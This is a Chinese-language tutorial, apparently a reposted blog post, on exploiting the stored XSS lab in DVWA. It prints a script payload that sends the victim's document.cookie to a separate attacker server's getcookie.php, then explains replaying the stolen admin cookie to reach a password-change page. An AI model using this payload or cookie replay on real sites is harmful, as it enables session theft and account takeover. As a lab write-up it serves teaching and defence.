您好,登錄后才能下訂單哦!
存儲型跨站可以將XSS語句直接寫入到數(shù)據(jù)庫中,因而相比反射型跨站的利用價值要更大。
在DVWA中選擇XSS stored,這里提供了一個類型留言本的頁面。
我們首先查看low級別的代碼,這里提供了$message和$name兩個變量,分別用于接收用戶在Message和Name框中所提交的數(shù)據(jù)。對這兩個變量都通過mysql_real_escape_string()函數(shù)進行了過濾,但是這只能阻止SQL注入漏洞。
可以看出,在low級別下,Name和Message這兩個文本框都存在跨站漏洞,但是由于DVWA對name框的長度進行了限制,最多只允許輸入10個字符,所以我們這里在Message框輸入跨站語句“<script>alert('hi')</script>”,以后任何人只要訪問這個留言頁面,就可以觸發(fā)跨站語句,實現(xiàn)彈框。
當(dāng)然,彈框并不是目的,XSS的主要用途之一是盜取cookie,也就是將用戶的cookie自動發(fā)送到***的電腦中。
下面我們準(zhǔn)備一臺安裝有PHP環(huán)境的Web服務(wù)器(IP地址192.168.80.132),在其中創(chuàng)建一個名為getcookie.php的網(wǎng)頁,網(wǎng)頁代碼如下:
然后在Message框中輸入下面這段XSS語句,注意中間沒有換行:
<script>document.write('<img src="http://192.168.80.132/getcookie.php?cookie='+document.cookie+'" height=0 border=0 />');</script> |
在DVWA中提交之后,這時就會在getcookie.php網(wǎng)頁所在的目錄下生成一個名為cookie.txt的文件,其中就含有竊取過來的cookie:
那么我們該怎么利用竊取過來的cookie呢?由于這個cookie是以管理員的身份創(chuàng)建的,有些網(wǎng)站的cookie中會直接包含有管理員的賬號和密碼,這里的cookie雖然沒有密碼,但我們可以利用這個cookie假冒管理員的身份去執(zhí)行某些操作。
比如在之前的CSRF測試頁面中可以更改管理員的密碼,我們將這個頁面的URL復(fù)制下來:http://192.168.80.1/dvwa/vulnerabilities/csrf/,然后新打開一個瀏覽器窗口,將URL粘貼過去直接訪問,由于這個頁面只有管理員權(quán)限才可以訪問,因而這時就會自動跳轉(zhuǎn)到DVWA的登錄界面。
現(xiàn)在我們已經(jīng)竊取到了管理員的cookie,因而就可以繞過身份驗證,而直接去訪問CSRF頁面。當(dāng)然這里需要借助一些可以修改cookie的工具,很多***工具都提供了類似的功能,比如經(jīng)典的啊D。在“掃描注入點”的“檢測網(wǎng)址”中輸入要訪問的URL,然后點擊最右側(cè)的“cookies 修改”按鈕,在下方的文本框中輸入竊取來的cookie,點擊修改按鈕,然后再點擊“打開網(wǎng)頁”按鈕,這時就可以直接以管理員身份訪問這個頁面了。
下面再分析一下medium級別的代碼,可以看到對變量$message用htmlspecialchars()函數(shù)進行了過濾,這樣Message輸入框就不存在XSS漏洞了,但是Name框仍有漏洞。不過由于DVWA對Name框的長度進行了限制,只允許最多輸入10個字符,因而這里的XSS***就有些難度了,網(wǎng)上有不少如何縮短XSS語句長度的資料,但我沒查到合適的***方法,這個問題也只能暫時擱置了。
在high級別中,則毫無疑問地對$message和$name都進行了過濾,這樣跨站漏洞也就被徹底阻止了。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。